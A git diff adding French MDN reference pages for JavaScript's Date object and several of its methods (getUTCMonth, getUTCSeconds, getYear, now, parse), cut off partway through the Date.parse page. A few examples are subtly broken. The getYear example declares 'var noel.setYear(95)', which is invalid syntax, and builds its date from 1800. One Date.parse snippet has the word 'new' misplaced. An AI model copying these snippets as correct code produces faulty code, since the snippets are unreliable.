{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCMinutes")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getMinutes()")}}
    • +
  • {{jsxref("Date.prototype.setUTCMinutes()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.html b/files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.html new file mode 100644 index 0000000000..e79037ca0f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutcmonth/index.html @@ -0,0 +1,81 @@ +--- +title: Date.prototype.getUTCMonth() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCMonth +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth +--- +
{{JSRef}}
+ +

La méthode getUTCMonth() renvoie le mois de la date renseignée, d'après UTC. La numérotation des mois commence à 0 pour le premier mois de l'année.

+ +
{{EmbedInteractiveExample("pages/js/date-getutcmonth.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCMonth()
+ +

Valeur de retour

+ +

Un entier entre 0 et 11 correspondant au mois dans l'année de la date indiquée selon le temps universel (0 pour janvier, 1 pour février, 2 pour mars, et ainsi de suite…).

+ +

Exemples

+ +

Utiliser getUTCMonth()

+ +

L'exemple suivant assigne le mois de la date actuelle à la variable mois.

+ +
var aujourdhui = new Date();
+var mois = aujourdhui.getUTCMonth();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCMonth")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getMonth()")}}
    • +
  • {{jsxref("Date.prototype.setUTCMonth()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.html new file mode 100644 index 0000000000..c56766bb13 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.html @@ -0,0 +1,81 @@ +--- +title: Date.prototype.getUTCSeconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getUTCSeconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds +--- +
{{JSRef}}
+ +

La méthode getUTCSeconds() renvoie les secondes de la date renseignée, d'après UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-getutcseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.getUTCSeconds()
+ +

Valeur de retour

+ +

Un entier entre 0 et 59 correspondant au nombre de secondes écoulées pour la date indiquée selon le temps universel.

+ +

Exemples

+ +

Utiliser getUTCSeconds()

+ +

L'exemple suivant assigne les secondes de la date actuelle à la variable secondes.

+ +
var aujourdhui = new Date();
+var secondes = aujourdhui.getUTCSeconds();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getUTCSeconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getSeconds()")}}
    • +
  • {{jsxref("Date.prototype.setUTCSeconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/getyear/index.html b/files/fr/web/javascript/reference/global_objects/date/getyear/index.html new file mode 100644 index 0000000000..a890eaeb7e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/getyear/index.html @@ -0,0 +1,127 @@ +--- +title: Date.prototype.getYear() +slug: Web/JavaScript/Reference/Objets_globaux/Date/getYear +tags: + - Date + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear +--- +
{{JSRef}} {{Deprecated_header}}
+ +

La méthode getYear() renvoie l'année de la date renseignée, d'après l'heure locale. Parce que getYear() ne renvoie pas l'année complète (« bug de l'an 2000 »), cette méthode n'est plus utilisée et doit être remplacée par {{jsxref("Date.getFullYear", "getFullYear")}}.

+ +

Syntaxe

+ +
dateObj.getYear()
+ +

Valeur de retour

+ +

Un nombre représentant l'année de la date indiquée, selon l'heure locale, auquel on a soustrait 1900.

+ +

Description

+ +

La méthode getYear() renvoie l'année moins 1900 ; par conséquent :

+ +
    +
  • Pour les années supérieures ou égales à 2000, la valeur renvoyée par getYear() est supérieure ou égale à 100. Par exemple, si l'année est 2026, getYear() renvoie 126.
    • +
  • Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par getYear() est comprise entre 0 et 99. Par exemple, si l'année est 1976, getYear() renvoie 76.
    • +
  • Pour les années inférieures à 1900, la valeur renvoyée par getYear() est négative. Par exemple, si l'année est 1800, getYear() renvoie -100.
    • +
+ +

Pour prendre en compte les années avant et après 2000, il vaut mieux utiliser {{jsxref("Date.getFullYear", "getFullYear()")}} au lieu de getYear afin que l'année soit spécifiée en entier.

+ +

Rétrocompatibilité

+ +

Comportement dans JavaScript 1.2 et versions antérieures

+ +

La méthode getYear() renvoyait soit une année en deux chiffres, soit une année en quatre chiffres :

+ +
    +
  • Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par getYear() était l'année moins 1900. Par exemple, si l'année était 1976, la valeur renvoyée était 76.
    • +
  • Pour les années inférieures à 1900 ou supérieures à 1999, la valeur renvoyée par getYear était l'année en quatre chiffres. Par exemple, si l'année était 1856, la valeur renvoyée était 1856. Si l'année était 2026, la valeur renvoyée était 2026.
    • +
+ +

Exemples

+ +

Années entre 1900 et 1999

+ +

La seconde instruction assigne la valeur 95 à la variable annee.

+ +
var noel = new Date("December 25, 1995 23:15:00");
+var annee = noel.getYear(); // renvoie 95
+
+ +

Années après 1999

+ +

La seconde instruction assigne la valeur 100 à la variable annee.

+ +
var noel = new Date("December 25, 2000 23:15:00");
+var annee = noel.getYear(); // renvoie 100
+
+ +

Années avant 1900

+ +

La seconde instruction assigne la valeur -100 à la variable annee.

+ +
var noel = new Date("December 25, 1800 23:15:00");
+var annee = noel.getYear(); // renvoie -100
+
+ +

Définition et lecture d'une année entre 1900 et 1999

+ +

La troisième instruction assigne la valeur 95 à la variable annee, représentant l'année 1995.

+ +
var noel = new Date("December 25, 1800 23:15:00");
+var noel.setYear(95);
+var annee = noel.getYear(); // renvoie 95
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-B.2.4', 'Date.prototype.getYear')}}{{Spec2('ES5.1')}}Défini dans l'annexe informative sur la compatibilité.
{{SpecName('ES6', '#sec-date.prototype.getyear', 'Date.prototype.getYear')}}{{Spec2('ES6')}}Défini dans l'annexe normative sur les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-date.prototype.getyear', 'Date.prototype.getYear')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.getYear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getFullYear()")}}
    • +
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setYear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/index.html b/files/fr/web/javascript/reference/global_objects/date/index.html new file mode 100644 index 0000000000..e38ef84b9b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/index.html @@ -0,0 +1,258 @@ +--- +title: Date +slug: Web/JavaScript/Reference/Objets_globaux/Date +tags: + - Date + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date +--- +
{{JSRef}}
+ +

Les objets JavaScript Date représentent un instant donné sur l'axe du temps dans un format indépendant de la plateforme utilisée. Les objets Date contiennent un nombre (Number) qui représente le nombre de millisecondes écoulées depuis le premier janvier 1970 sur l'échelle UTC.

+ +
+

TC39 travaille actuellement sur Temporal, une nouvelle API pour la gestion des dates, heures et données temporelles.
+ Pour en savoir plus, consultez le blog d'Igalia et n'hésitez pas à répondre au sondage. Les retours concrets de développeurs web sont importants pour affiner cette API. Attention, elle n'est pas encore prête à être utilisée en production !

+
+ +

Description

+ +

L'epoch ECMAScript

+ +

D'un point de vue technique, une date JavaScript correspond au nombre de millisecondes écoulées depuis le premier janvier 1970, minuit UTC. Cette date et cette heure sont les mêmes que l'epoch UNIX, qui est l'instant de référence principalement utilisé pour manipuler les dates/heures dans les systèmes informatiques.

+ +

Note : Bien que les valeurs temporelles des objets dates soient relatives à UTC, certaines des méthodes simples pour obtenir les composantes d'une date/heure fonctionnent relativement au fuseau horaire du système.

+ +

On notera également que la représentation maximale d'un objet Date n'est pas la même que le plus grand entier représentable en JavaScript (Number.MAX_SAFE_INTEGER vaut 9,007,199,254,740,991). En effet, ECMA-262 définit un maximum de ±100 000 000 (cent millions) jours relatifs au premier janvier 1970 UTC (ce qui correspond au 20 avril 271 821 avant notre ètre d'une part et au 13 septembre 275 760 de notre ère) pouvant être représentés par un objet Date standard (soit un intervalle de ±8 640 000 000 000 000 millisecondes).

+ +

Les formats de date et les conversions entre les fuseaux horaires

+ +

Il existe différentes méthodes pour obtenir une date sous différents formats ou effectuer une conversion entre différents fuseaux. On distingue notamment les fonctions qui manipulent les dates relativement au temps universal coordonné (UTC). Le temps local est celui utilisé par l'appareil de l'utilisateur.

+ +

Ainsi, on dispose de méthodes permettant d'obtenir ou de définir les différentes composantes d'une date selon le temps local (ex. {{jsxref("Date.getDay", "getDay()")}}, {{jsxref("Date.setHours", "setHours()")}}) et de méthodes équivalentes pour la manipulation en UTC (ex. {{jsxref("Date.getUTCDay()", "getUTCDay()")}} et {{jsxref("Date.setUTCHours", "setUTCHours()")}} respectivement).

+ +

Constructeur

+ +
+
{{jsxref("Date/Date", "Date()")}}
+
Cette fonction permet de créer un nouvel objet Date.
+
+ +

Méthodes statiques

+ +
+
{{jsxref("Date.now()")}}
+
Renvoie la valeur numérique correspondant au moment présent sous la forme du nombre de millisecondes écoulées depuis le premier janvier 1970 00:00:00 UTC (les secondes intercalaires (leap seconds) sont ignorées).
+
{{jsxref("Date.parse()")}}
+
Analyse la représentation textuelle d'une date et renvoie le nombre de millisecondes écoulées entre cette date et le premier janvier 1970, 00:00:00 UTC (les secondes intercalaires (leap seconds) sont ignorées). +
+

Note : L'analyse de chaînes de caractères à l'aide de Date.parse est fortement déconseillée en raison des incohérences qui existent entre les navigateurs.

+
+
+
{{jsxref("Date.UTC()")}}
+
Accepte les mêmes paramètres que la forme longue du constructeur (c'est-à-dire entre 2 et 7) et renvoie le nombre de millisecondes entre cette date et le premier janvier 1970, 00:00:00 UTC (les secondes intercalaires (leap seconds) sont ignorées).
+
+ +

Méthodes des instances

+ +
+
{{jsxref("Date.prototype.getDate()")}}
+
Renvoie le jour du mois (entre 1 et 31) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getDay()")}}
+
Renvoie le jour de la semaine (entre 0 et 6) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getFullYear()")}}
+
Renvoie l'année (sans chiffre implicite, 1999 sera renvoyé et pas 99 par exemple) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getHours()")}}
+
Renvoie l'heure (entre 0 et 23) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getMilliseconds()")}}
+
Renvoie les millisecondes (entre 0 et 999) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getMinutes()")}}
+
Renvoie les minutes (entre 0 et 59) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getMonth()")}}
+
Renvoie le mois (entre 0 et 11) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getSeconds()")}}
+
Renvoie les secondes (entre 0 et 59) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.getTime()")}}
+
Renvoie la valeur numérique de la date donnée, exprimée en nombre de millisecondes écoulées depuis le premier janvier 1970, 00:00:00 UTC (pour les temps antérieurs, ce sont des valeurs négatives qui seront renvoyées).
+
{{jsxref("Date.prototype.getTimezoneOffset()")}}
+
Renvoie le décalage horaire, exprimé en minutes, pour la locale courante.
+
{{jsxref("Date.prototype.getUTCDate()")}}
+
Renvoie le jour du mois (entre 1 et 31) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getUTCDay()")}}
+
Renvoie le jour de la semaine (entre 0 et 6) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getUTCFullYear()")}}
+
Renvoie l'année (sans chiffre implicite, 1999 sera renvoyé plutôt que 99) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getUTCHours()")}}
+
Renvoie l'heure (entre 0 et 23) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
+
Renvoie les millisecondes (entre 0 et 999) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getUTCMinutes()")}}
+
Renvoie les minutes (entre 0 et 59) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getUTCMonth()")}}
+
Renvoie le mois (entre 0 et 11) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getUTCSeconds()")}}
+
Renvoie les secondes (entre 0 et 59) pour la date donnée, selon le temps universel.
+
{{jsxref("Date.prototype.getYear()")}}
+
Renvoie l'année (généralement exprimée sur 2 ou 3 chiffres) pour la date donnée selon le temps local. On utilisera plutôt {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}.
+
{{jsxref("Date.prototype.setDate()")}}
+
Définit le jour du mois pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.setFullYear()")}}
+
Définit l'année (sans chiffre implicite, on utilisera 1999 et pas 99) pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.setHours()")}}
+
Définit les heures pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.setMilliseconds()")}}
+
Définit les millisecondes pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.setMinutes()")}}
+
Définit les minutes pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.setMonth()")}}
+
Définit le mois pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.setSeconds()")}}
+
Définit les secondes pour la date donnée, selon le temps local.
+
{{jsxref("Date.prototype.setTime()")}}
+
Définit le nombre de millisecondes écoulées depuis le premier janvier 1970, 00:00:00 UTC et la date donnée. On utilisera des nombres négatifs pour les moments antérieurs à cette date.
+
{{jsxref("Date.prototype.setUTCDate()")}}
+
Définit le jour du mois pour la date donnée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCFullYear()")}}
+
Définit l'année (exprimée sans chiffres implicites, ex. 1999 et pas 99) pour la date donnée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCHours()")}}
+
Définit l'heure pour la date donnée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
+
Définit les millisecondes pour la date donnée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCMinutes()")}}
+
Définit les minutes pour la date donnée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCMonth()")}}
+
Définit le mois pour la date donnée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCSeconds()")}}
+
Définit les secondes pour la date donnée selon le temps universel.
+
{{jsxref("Date.prototype.setYear()")}}
+
Définit l'année (avec 2 à 3 chiffres) pour la date courante selon le temps local. On privilégiera la méthode {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} à la place.
+
{{jsxref("Date.prototype.toDateString()")}}
+
Renvoie la partie "date" (jour, mois, année) de l'objet {{jsxref("Date")}} en une chaîne de caractères compréhensible par un humain (anglophone) (ex. 'Thu Apr 12 2018').
+
{{jsxref("Date.prototype.toISOString()")}}
+
Convertit une date en une chaîne de caractères selon le format ISO 8601 Étendu.
+
{{jsxref("Date.prototype.toJSON()")}}
+
Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} avec {{jsxref("Date.prototype.toISOString()", "toISOString()")}}. Cette méthode est utilisée par {{jsxref("JSON.stringify()")}}.
+
{{jsxref("Date.prototype.toGMTString()")}}
+
Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} d'après le fuseau GMT (UTC). On utilisera plutôt {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}.
+
{{jsxref("Date.prototype.toLocaleDateString()")}}
+
Renvoie une chaîne de caractères représentant les jours / mois / années de la date courante avec une représentation propre à la locale courante (déduite des paramètres systèmes utilisés).
+
{{jsxref("Date.prototype.toLocaleFormat()")}}
+
Convertit la date courante en une chaîne de caractères avec un format décrit en paramètre via une chaîne de caractères.
+
{{jsxref("Date.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères représentant la date sous le forme de la locale courante. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
+
{{jsxref("Date.prototype.toLocaleTimeString()")}}
+
Renvoie une chaîne de caractères représentant les heures / minutes / secondes de la date courante avec une représentation propre à la locale courante (déduite des paramètres systèmes utilisés).
+
{{jsxref("Date.prototype.toString()")}}
+
Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} courant. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("Date.prototype.toTimeString()")}}
+
Renvoie l'heure (avec les minutes et les secondes) d'une date sous la forme d'une chaîne de caractères compréhensible par un humain.
+
{{jsxref("Date.prototype.toUTCString()")}}
+
Convertit une date en chaîne de caractère en utilisant le temps universel comme référentiel.
+
{{jsxref("Date.prototype.valueOf()")}}
+
Renvoie la valeur primitive d'un objet {{jsxref("Date")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
+ +

Exemples

+ +

Différentes façons de créer un objet Date

+ +

Les exemples qui suivent illustrent différentes méthodes permettant de créer des dates JavaScript :

+ +
+

Note : L'analyse de chaîne de caractères représentant des dates avec le constructeur Date  (ou Date.parse qui est équivalent) est fortement déconseillée en raison des différences de comportement existant entre les navigateurs.

+
+ +
let aujourdhui = new Date()
+let anniversaire = new Date('September 22, 2018 15:00:00')
+let anniversaire = new Date('2018-09-22T15:00:00')
+let anniversaire = new Date(2018, 8, 22)            // the month is 0-indexed
+let anniversaire = new Date(2018, 8, 22, 15, 0, 0)
+
+ +

Les années sur deux chiffres correspondent à la période 1900 – 1999

+ +

Afin de créer et de manipuler des dates sur les années 0 à 99 de notre ère, on doit utiliser les méthodes {{jsxref("Date.prototype.setFullYear()")}} and {{jsxref("Date.prototype.getFullYear()")}}.

+ +
let date = new Date(98, 1)  // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+// Méthode dépréciée, 98 correspond également ici à 1998
+date.setYear(98)            // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+date.setFullYear(98)        // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
+
+ +

Calculer le temps écoulé

+ +

Dans les exemples suivants, on illustre comment calculer le temps écoulé entre deux dates JavaScript en millisecondes.

+ +

En raison de durées différentes pour les jours (heure d'été / heure d'hiver), les mois et les années, il faudra faire attention et étudier le sujet avant d'exprimer des durées en unités supérieures à des heures / minutes / secondes.

+ +
// Utiliser des objets Date
+let debut = Date.now()
+
+// Ici, l'évènement dont on veut mesurer la durée :
+faireQuelqueChosePendantLongtemps()
+let fin = Date.now()
+let duree = fin - debut // La durée écoulée, en millisecondes
+
+ +
// En utilisant les méthodes natives
+let debut = new Date()
+
+// Ici, l'évènement dont on veut mesurer la durée :
+faireQuelqueChosePendantLongtemps()
+let fin = new Date()
+let duree = fin.getTime() - debut.getTime() // La durée écoulée, en millisecondes
+
+ +
// Pour tester le temps d'exécution d'une fonction
+function afficheDureeEcoulee(fTest) {
+  let debut = Date.now(),
+      valRetour = fTest(),
+      fin = Date.now()
+
+  console.log(`Durée écoulée : ${ String(fin - debut) } millisecondes`)
+  return valRetour
+}
+
+let valeurDeRetour = afficheDureeEcoulee(maFonctionATester)
+
+ +
+

Note : Pour les navigateurs qui prennent en charge l'{{domxref("Window.performance", "API Web Performance", "", 1)}}, la méthode {{domxref("Performance.now()")}} peut fournir un outil de mesure des durées écoulées plus fiable et précis que {{jsxref("Date.now()")}}.

+
+ +

Obtenir le nombre de secondes écoulées depuis l'epoch ECMAScript

+ +
let secondes = Math.floor(Date.now() / 1000)
+
+ +

Dans ce cas, on renvoie un entier et c'est pour ça qu'on utilise {{jsxref("Math.floor()")}}. Par ailleurs, on n'utilise pas {{jsxref("Math.round()")}} afin d'avoir le nombre de secondes effectivement écoulées.

+ +

Spécifications

+ + + + + + + + + + + + +
Spécification
{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date", 3)}}

+ +

Voir aussi

+ +
    +
  • Le constructeur {{jsxref("Date/Date", "Date()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/now/index.html b/files/fr/web/javascript/reference/global_objects/date/now/index.html new file mode 100644 index 0000000000..008db50f65 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/now/index.html @@ -0,0 +1,106 @@ +--- +title: Date.now() +slug: Web/JavaScript/Reference/Objets_globaux/Date/now +tags: + - Date + - JavaScript + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Date/now +--- +
{{JSRef}}
+ +

La méthode Date.now() renvoie le nombre de millisecondes écoulées depuis le 1er Janvier 1970 00:00:00 UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-now.html")}}
+ + + +

Syntaxe

+ +
var tempsEnMs = Date.now();
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées depuis le premier janvier 1970 à minuit UTC.

+ +

Description

+ +

La méthode now() renvoie le nombre de millisecondes écoulées depuis le 1er janvier 1970 00:00:00 UTC sous forme d'un {{jsxref("Number")}} (nombre).

+ +

now() étant une méthode statique de {{jsxref("Date")}}, on utilisera toujours la forme Date.now().

+ +

Prothèse d'émulation (polyfill)

+ +

Cette méthode a été standardisée dans la 5e édition d'ECMA-262. Les moteurs JavaScript ne la supportant pas peuvent l'émuler de la façon suivante :

+ +
if (!Date.now) {
+  Date.now = function now() {
+    return new Date().getTime();
+  };
+}
+
+ +

Précision temporelle réduite

+ +

Afin de protéger contre les attaques de minutage et d'identification, la précision de new Date.now() peut être arrondie en fonction des paramètres du navigateur. Pour Firefox, la préférence privacy.reduceTimerPrecision est activée par défaut et vaut, par défaut 20ms pour Firefox 59 et 2ms pour Firefox 60.

+ +
// Précision temporelle réduite (2ms) pour Firefox 60
+new Date().getTime();
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// précision temporelle avec `privacy.resistFingerprinting` activé
+new Date().getTime();
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+
+ +

Pour Firefox, il est également possible d'activer privacy.resistFingerprinting auquel cas la précision sera 100ms ou la valeur de privacy.resistFingerprinting.reduceTimerPrecision.microseconds selon laquelle est plus grande.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES6', '#sec-date.now', 'Date.now')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.now', 'Date.now')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.now")}}

+ +

Voir aussi

+ +
    +
  • {{domxref("window.performance.now")}} - renvoie des timestamps (horodatages) avec une précision supérieure à la milliseconde pour mesurer la performance des pages web.
    • +
  • {{domxref("console.time")}} / {{domxref("console.timeEnd")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/parse/index.html b/files/fr/web/javascript/reference/global_objects/date/parse/index.html new file mode 100644 index 0000000000..fc7a5c3e14 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/parse/index.html @@ -0,0 +1,198 @@ +--- +title: Date.parse() +slug: Web/JavaScript/Reference/Objets_globaux/Date/parse +tags: + - Date + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse +--- +
{{JSRef}}
+ +

La méthode Date.parse() analyse la représentation textuelle d'une date, et renvoie le nombre de millisecondes depuis le 1er janvier 1970, 00:00:00 UTC jusqu'à cette date ou NaN si la chaîne n'est pas reconnue ou décrit une date invalide (par exemple 2015-02-31).

+ +
+

Note : Pour les anciennes implémentations (avant ES5), le résultat de Date.parse variait d'une implémentation à l'autre. Attention donc à la compatibilité avec ces anciennes versions.

+
+ +
{{EmbedInteractiveExample("pages/js/date-parse.html")}}
+ + + +

Syntaxe

+ +

Appel direct :

+ +
Date.parse(dateString)
+ +

Appel implicite :

+ +
new Date(dateString)
+ +

Paramètres

+ +
+
dateString
+
Une chaine de caractères représentant une date dans une version simplifiéee d'ISO 8601 (d'autres formats peuvent être utilisés mais les résultats ne sont pas garantis).
+
+ +

Valeur de retour

+ +

Un nombre correspondant au nombre de millisecondes écoulées entre le premier janvier 1970 à minuit UTC et la date indiquée en argument sous la forme d'une chaîne de caractères. Si l'argument ne permet pas de décrire une date valide, c'est {{jsxref("NaN")}} qui sera renvoyé.

+ +

Description

+ +

La méthode parse prend en argument une chaine de caractères contenant une date en paramètre (comme "Dec 25, 1995") et renvoie le nombre de millièmes de secondes depuis le 1er janvier 1970, 00:00:00 UTC. Cette fonction est utile pour définir des valeurs de dates à partir de représentations textuelles, par exemple en conjonction avec la méthode {{jsxref("Objets_globaux/Date/setTime", "setTime()")}} et l'objet {{jsxref("Objets_globaux/Date", "Date")}}.

+ +

Format de la chaîne de caractères

+ +

À partir d'une chaine de caractères représentant une date, parse renvoie une valeur de temps. La syntaxe acceptée est un format simplifié de la norme ISO 8601. On pourra par exemple utiliser "2011-10-10" (date uniquement), "2011-10-10T14:48:00" (date et heure) ou "2011-10-10T14:48:00.000+09:00" (date, heure, millisecondes et fuseau horaire).

+ +

Si aucun fuseau horaire n'est spécifié, les chaînes représentant uniquement des dates seront considérées comme UTC et les dates / heures seront considérées comme locales.

+ +

Lorsque des indicateurs de fuseau horaire sont utilisés, la valeur renvoyée correspondra toujours au nombre de millisecondes écoulées entre l'argument et le premier janvier 1970 à minuit UTC.

+ +

parse() est une méthode statique de {{jsxref("Date")}} et on invoquera ainsi Date.parse() plutôt que parse() sur une instance d'un objet Date.

+ +

Différences entre les fuseaux horaires supposés

+ +

Avec une chaîne comme "March 7, 2014", parse() supposera un fuseau horaire local, avec une chaîne au format ISO comme "2014-03-07", la méthode supposera un fuseau horaire UTC en ES5 et un fuseau horaire local pour ECMAScript 2015. Ainsi les objets {{jsxref("Date")}} construits avec ces chaînes représenteront des instants différents, sauf si le fuseau horaire local du système utilisé correspond à UTC. Cela signifie que deux dates représentées de façon textuelles semblables peuvent donner des dates différentes (ce comportement doit être corrigé avec ECMAScript 6 afin que les deux dates soient traitées de façon locale).

+ +

Traitement laissé libre à l'implémentation

+ +

Le standard ECMAScript dicte que si la chaîne utilisée n'est pas conforme au format standard, alors la fonction peut utiliser une heuristique et/ou un algorithme d'analyse de texte propre à l'implémentation. Les chaînes impossibles à décoder et/ou qui contiennent des éléments non-conformes aux formats ISO doivent renvoyer {{jsxref("NaN")}} lors de l'appel à Date.parse().

+ +

Cependant, les valeurs invalides qui ne sont pas reconnues dans un format ISO pris en charge par ECMA-262 peuvent ou non engendrer la valeur {{jsxref("NaN")}} selon le navigateur et les valeurs utilisées. Par exemple :

+ +
// Chaîne non ISO avec des valeurs invalides
+new Date('23/25/2014');
+ +

sera traitée comme la date locale du 25 novembre 2015 avec Firefox 30 et comme invalide avec Safari 7. Cependant, si la chaîne est reconnue dans un format ISO mais contient des valeurs invalides, la méthode renverra {{jsxref("NaN")}} pour tous les navigateurs conformes à ES5 (ou aux versions ultérieures) :

+ +
// Chaîne ISO avec des valeurs invalides new
+Date('2014-25-23').toISOString();
+// renvoie "RangeError: invalid date" pour les navigateurs ES5
+ +

